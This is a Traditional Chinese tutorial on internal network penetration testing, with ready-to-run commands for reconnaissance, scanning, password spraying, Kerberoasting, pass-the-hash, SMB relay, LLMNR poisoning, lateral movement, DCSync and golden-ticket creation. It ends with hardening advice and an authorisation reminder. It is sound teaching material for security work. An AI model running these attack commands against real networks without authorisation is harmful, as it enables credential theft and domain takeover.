內網滲透簡介
內網滲透測試(Internal Penetration Testing)是一種模擬攻擊者已經突破外部防線後,在內部網路中進行進一步攻擊的安全評估方式。與外網滲透測試不同,內網滲透假設攻擊者已經取得內部網路的存取權限,可能是透過釣魚攻擊、實體入侵,或是利用外部服務的漏洞進入內網。
內網滲透的重要性
企業往往投入大量資源保護網路邊界,但內部網路的安全防護卻經常被忽視。一旦攻擊者突破外部防線進入內網,可能面臨以下問題:
- 扁平化網路架構:內部網路缺乏有效的網段隔離
- 過度信任:內部系統之間缺乏適當的存取控制
- 老舊系統:內網中可能存在未修補漏洞的老舊系統
- 敏感資料暴露:關鍵資料在內網中缺乏適當保護
內網滲透與外網滲透的差異
| 面向 | 外網滲透 | 內網滲透 |
|---|
| 攻擊起點 | 網際網路 | 內部網路 |
| 可見目標 | 公開服務、網站 | 內部伺服器、工作站 |
| 防護程度 | 通常較強 | 往往較弱 |
| 攻擊目標 | 取得初始存取 | 橫向移動、權限提升 |
| 偵測難度 | 較容易被偵測 | 容易混入正常流量 |
內網滲透測試的階段
一般的內網滲透測試流程包含以下階段:
- 資訊收集(Reconnaissance):瞭解網路環境和目標系統
- 網路拓撲發現(Network Discovery):識別網路架構和設備
- 服務識別(Service Enumeration):探測開放服務和版本
- 漏洞分析(Vulnerability Assessment):識別潛在弱點
- 漏洞利用(Exploitation):嘗試利用發現的漏洞
- 權限提升(Privilege Escalation):取得更高權限
- 橫向移動(Lateral Movement):在網路中擴展存取範圍
- 資料收集(Data Exfiltration):存取敏感資料
資訊收集技術
資訊收集是內網滲透測試的第一步,目標是盡可能多地瞭解目標環境。良好的資訊收集能夠提高後續攻擊的成功率,並減少被偵測的風險。
被動資訊收集
被動資訊收集不會直接與目標系統互動,因此不易被偵測。
監聽網路流量
1
2
3
4
5
6
7
8
| # 使用 tcpdump 監聽網路流量
sudo tcpdump -i eth0 -w capture.pcap
# 監聽特定協定
sudo tcpdump -i eth0 port 445 or port 139
# 監聽廣播流量
sudo tcpdump -i eth0 broadcast
|
分析 ARP 快取
1
2
3
4
5
6
| # Linux 查看 ARP 快取
arp -a
ip neigh show
# Windows 查看 ARP 快取
arp -a
|
監聽 NetBIOS/LLMNR 流量
NetBIOS 和 LLMNR 是 Windows 環境中常見的名稱解析協定,可以透過監聽這些協定發現網路中的主機。
1
2
3
4
5
| # 使用 Responder 監聽模式(不進行欺騙)
sudo responder -I eth0 -A
# 使用 Wireshark 過濾 LLMNR 流量
# 過濾條件:llmnr
|
主動資訊收集
主動資訊收集會直接與目標系統互動,能獲取更詳細的資訊,但也容易被偵測。
查詢 DNS 資訊
1
2
3
4
5
6
7
8
| # 查詢 DNS 伺服器
nslookup -type=any domain.local dns-server
# 嘗試區域傳送
dig axfr domain.local @dns-server
# 列舉 DNS 記錄
dnsrecon -d domain.local -t std
|
LDAP 查詢(Active Directory 環境)
1
2
3
4
5
6
7
8
| # 使用 ldapsearch 查詢 AD 資訊
ldapsearch -x -H ldap://dc.domain.local -b "DC=domain,DC=local"
# 查詢所有使用者
ldapsearch -x -H ldap://dc.domain.local -b "DC=domain,DC=local" "(objectClass=user)"
# 查詢所有電腦
ldapsearch -x -H ldap://dc.domain.local -b "DC=domain,DC=local" "(objectClass=computer)"
|
使用 enum4linux 收集 Windows 資訊
1
2
3
4
5
6
7
8
9
10
11
| # 完整列舉
enum4linux -a target_ip
# 列舉使用者
enum4linux -U target_ip
# 列舉共享資料夾
enum4linux -S target_ip
# 列舉群組
enum4linux -G target_ip
|
收集的關鍵資訊
在資訊收集階段,應注意收集以下關鍵資訊:
| 資訊類型 | 用途 |
|---|
| IP 位址範圍 | 確定攻擊範圍 |
| 網域名稱 | AD 攻擊準備 |
| 使用者名稱 | 密碼猜測、釣魚 |
| 主機名稱 | 識別關鍵系統 |
| 作業系統版本 | 選擇適當的攻擊方式 |
| 網路服務 | 識別攻擊面 |
| 安全設備 | 規避偵測 |
網路拓撲發現
網路拓撲發現的目標是瞭解目標網路的架構,包括網段劃分、路由設定、關鍵設備位置等。
主機發現技術
ICMP 掃描
1
2
3
4
5
6
7
8
| # 使用 ping 掃描單一主機
ping -c 3 192.168.1.1
# 使用 fping 快速掃描網段
fping -a -g 192.168.1.0/24 2>/dev/null
# 使用 Nmap 進行 ICMP 掃描
nmap -sn -PE 192.168.1.0/24
|
ARP 掃描
ARP 掃描在本地網路中非常有效,因為 ARP 請求通常不會被防火牆過濾。
1
2
3
4
5
6
| # 使用 arp-scan
sudo arp-scan -l
sudo arp-scan 192.168.1.0/24
# 使用 Nmap ARP 掃描
nmap -sn -PR 192.168.1.0/24
|
TCP/UDP 掃描發現
1
2
3
4
5
6
7
8
| # TCP SYN 掃描發現
nmap -sn -PS22,80,443,445 192.168.1.0/24
# TCP ACK 掃描發現
nmap -sn -PA80,443 192.168.1.0/24
# UDP 掃描發現
nmap -sn -PU53,161 192.168.1.0/24
|
識別網路設備
發現路由器和閘道
1
2
3
4
5
6
7
8
9
10
| # 查看預設閘道
ip route show
route -n
# 追蹤路由
traceroute target_ip
tracepath target_ip
# Windows 追蹤路由
tracert target_ip
|
識別網路服務位置
1
2
3
4
5
6
7
8
| # 掃描常見網路設備管理介面
nmap -p 22,23,80,443,8080,8443 192.168.1.0/24
# 識別 SNMP 設備
nmap -sU -p 161 192.168.1.0/24
# 使用 SNMP 收集資訊
snmpwalk -v2c -c public target_ip
|
網段發現
1
2
3
4
5
6
7
| # 識別活躍網段
for i in $(seq 1 254); do
ping -c 1 -W 1 192.168.$i.1 &>/dev/null && echo "192.168.$i.0/24 is active"
done
# 使用 Nmap 掃描多個網段
nmap -sn 192.168.1.0/24 192.168.2.0/24 10.0.0.0/24
|
繪製網路拓撲
收集到的資訊應該整理成清晰的網路拓撲圖,包含:
- 網段劃分:各網段的 IP 範圍和用途
- 關鍵設備:路由器、防火牆、交換器位置
- 伺服器位置:AD、DNS、Mail、Web 等伺服器
- 工作站分布:一般使用者電腦的位置
- 安全設備:IDS/IPS、WAF 等位置
服務識別
服務識別的目標是確定目標主機上執行的服務、版本和潛在漏洞。
埠掃描技術
基本 TCP 掃描
1
2
3
4
5
6
7
8
9
10
11
| # TCP Connect 掃描(完整三向交握)
nmap -sT -p 1-65535 target_ip
# TCP SYN 掃描(半開放掃描)
sudo nmap -sS -p 1-65535 target_ip
# 快速掃描常用埠
nmap -F target_ip
# 掃描特定埠
nmap -p 22,80,443,445,3389 target_ip
|
UDP 掃描
1
2
3
4
5
| # UDP 掃描(較慢)
sudo nmap -sU -p 53,67,68,69,123,161,500 target_ip
# 結合 TCP 和 UDP 掃描
sudo nmap -sS -sU -p T:1-1000,U:53,67,161 target_ip
|
隱蔽掃描技術
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # FIN 掃描
sudo nmap -sF target_ip
# NULL 掃描
sudo nmap -sN target_ip
# Xmas 掃描
sudo nmap -sX target_ip
# 分段掃描(規避 IDS)
sudo nmap -f target_ip
# 隨機順序掃描
sudo nmap --randomize-hosts -p 1-1000 192.168.1.0/24
|
服務版本識別
1
2
3
4
5
6
7
8
9
10
11
| # 服務版本偵測
nmap -sV target_ip
# 詳細版本偵測
nmap -sV --version-intensity 5 target_ip
# 結合作業系統偵測
nmap -sV -O target_ip
# 使用 NSE 腳本進行深度識別
nmap -sV -sC target_ip
|
常見服務識別
SMB 服務(445/TCP)
1
2
3
4
5
6
7
8
9
| # SMB 版本識別
nmap -p 445 --script smb-os-discovery target_ip
# 列舉 SMB 共享
nmap -p 445 --script smb-enum-shares target_ip
smbclient -L //target_ip -N
# 檢查 SMB 漏洞
nmap -p 445 --script smb-vuln* target_ip
|
SSH 服務(22/TCP)
1
2
3
4
5
6
| # SSH 版本和演算法識別
nmap -p 22 --script ssh2-enum-algos target_ip
nmap -p 22 --script ssh-auth-methods target_ip
# 使用 ssh-audit 進行詳細分析
ssh-audit target_ip
|
Web 服務(80/443/TCP)
1
2
3
4
5
6
7
8
| # Web 伺服器識別
nmap -p 80,443 --script http-server-header target_ip
# 列舉 Web 目錄
nmap -p 80 --script http-enum target_ip
# 識別 Web 應用程式
whatweb http://target_ip
|
RDP 服務(3389/TCP)
1
2
3
4
5
| # RDP 服務識別
nmap -p 3389 --script rdp-ntlm-info target_ip
# 檢查 RDP 加密等級
nmap -p 3389 --script rdp-enum-encryption target_ip
|
服務識別結果整理
建議將服務識別結果整理成表格:
| 主機 | 埠 | 服務 | 版本 | 備註 |
|---|
| 192.168.1.10 | 22 | SSH | OpenSSH 7.6 | 可能需要更新 |
| 192.168.1.10 | 80 | HTTP | Apache 2.4.29 | 檢查漏洞 |
| 192.168.1.20 | 445 | SMB | Windows Server 2016 | AD 控制器 |
| 192.168.1.30 | 3306 | MySQL | 5.7.25 | 資料庫伺服器 |
常見攻擊向量
了解常見的攻擊向量有助於識別系統弱點和制定攻擊策略。
認證相關攻擊
密碼猜測與噴灑攻擊
1
2
3
4
5
6
7
8
9
| # 使用 Hydra 進行 SSH 暴力破解
hydra -l admin -P passwords.txt ssh://target_ip
# 密碼噴灑攻擊(避免帳戶鎖定)
# 對多個帳戶嘗試同一密碼
crackmapexec smb target_ip -u users.txt -p 'Password123'
# 使用 Kerbrute 進行 Kerberos 密碼噴灑
kerbrute passwordspray -d domain.local users.txt 'Password123'
|
雜湊傳遞攻擊(Pass-the-Hash)
1
2
3
4
5
6
7
8
| # 使用 pth-winexe 執行命令
pth-winexe -U domain/user%hash //target_ip cmd
# 使用 CrackMapExec
crackmapexec smb target_ip -u user -H ntlm_hash
# 使用 Impacket psexec
python3 psexec.py -hashes :ntlm_hash domain/user@target_ip
|
Kerberos 攻擊
1
2
3
4
5
6
| # Kerberoasting - 請求服務票證並離線破解
# 使用 Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip dc_ip domain/user:password
# AS-REP Roasting - 針對不需要預認證的帳戶
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip dc_ip
|
SMB 相關攻擊
列舉和存取共享
1
2
3
4
5
6
7
8
| # 列舉共享
smbclient -L //target_ip -U user%password
# 連接共享
smbclient //target_ip/share -U user%password
# 使用 CrackMapExec 掃描可存取的共享
crackmapexec smb 192.168.1.0/24 -u user -p password --shares
|
SMB Relay 攻擊
1
2
3
4
5
6
7
| # 1. 識別未啟用 SMB 簽章的主機
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
# 2. 設定 Relay
ntlmrelayx.py -tf targets.txt -smb2support
# 3. 觸發認證(使用 Responder 或其他方式)
|
LLMNR/NBT-NS 毒化
1
2
3
4
5
| # 使用 Responder 進行 LLMNR/NBT-NS 毒化
sudo responder -I eth0 -wrf
# Responder 會捕獲 NTLMv2 雜湊,可以使用 hashcat 破解
hashcat -m 5600 hashes.txt wordlist.txt
|
權限提升技術
Windows 權限提升
1
2
3
4
5
6
7
8
9
10
11
12
| # 使用 winPEAS 進行自動化檢查
.\winPEAS.exe
# 檢查未加引號的服務路徑
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
# 檢查可修改的服務
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# 檢查 AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
Linux 權限提升
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # 使用 LinPEAS 進行自動化檢查
./linpeas.sh
# 檢查 SUID 檔案
find / -perm -4000 -type f 2>/dev/null
# 檢查可寫入的 /etc/passwd
ls -la /etc/passwd
# 檢查 sudo 權限
sudo -l
# 檢查排程任務
cat /etc/crontab
ls -la /etc/cron.*
|
橫向移動技術
使用 PsExec
1
2
3
4
5
| # Impacket PsExec
python3 psexec.py domain/user:password@target_ip
# 使用雜湊
python3 psexec.py -hashes :ntlm_hash domain/user@target_ip
|
使用 WMI
1
2
3
4
5
| # Impacket WMIExec
python3 wmiexec.py domain/user:password@target_ip
# 使用 CrackMapExec
crackmapexec smb target_ip -u user -p password -x "whoami"
|
使用 WinRM
1
2
3
4
5
| # 使用 evil-winrm
evil-winrm -i target_ip -u user -p password
# 使用 CrackMapExec
crackmapexec winrm target_ip -u user -p password
|
Active Directory 攻擊
DCSync 攻擊
1
2
3
4
5
| # 使用 Mimikatz
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
# 使用 Impacket
secretsdump.py domain/user:password@dc_ip
|
黃金票證攻擊
1
2
| # 使用 Mimikatz 建立黃金票證
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt
|
安全建議
進行內網滲透測試後,應針對發現的問題提出改善建議:
網路架構
- 實施網路分段:將不同功能的系統分隔到不同網段
- 限制橫向流量:使用防火牆限制網段之間的通訊
- 部署 NAC:實施網路存取控制,限制未授權設備
身份認證
- 啟用多因子認證:對關鍵系統啟用 MFA
- 實施強密碼政策:要求複雜密碼並定期更換
- 限制管理員帳戶:減少有特權帳戶的數量
- 啟用帳戶鎖定:防止暴力破解攻擊
系統強化
- 定期更新修補:保持系統和軟體更新
- 停用不必要服務:關閉不需要的網路服務
- 啟用 SMB 簽章:防止 SMB Relay 攻擊
- 停用 LLMNR/NBT-NS:防止名稱解析毒化攻擊
監控偵測
- 部署 SIEM:集中收集和分析日誌
- 啟用進階稽核:記錄敏感操作
- 部署 EDR:端點偵測與回應
- 建立基準線:識別異常活動
總結
內網滲透測試是評估組織安全狀況的重要手段,本文介紹了以下內容:
- 內網滲透簡介:內網滲透的重要性和測試階段
- 資訊收集技術:被動和主動資訊收集方法
- 網路拓撲發現:主機發現和網路架構識別
- 服務識別:埠掃描和服務版本偵測
- 常見攻擊向量:認證攻擊、橫向移動、權限提升
進行內網滲透測試時,務必:
- 取得明確的書面授權
- 遵守測試範圍和規則
- 詳細記錄所有發現
- 負責任地報告漏洞
- 提供具體的修復建議
參考資源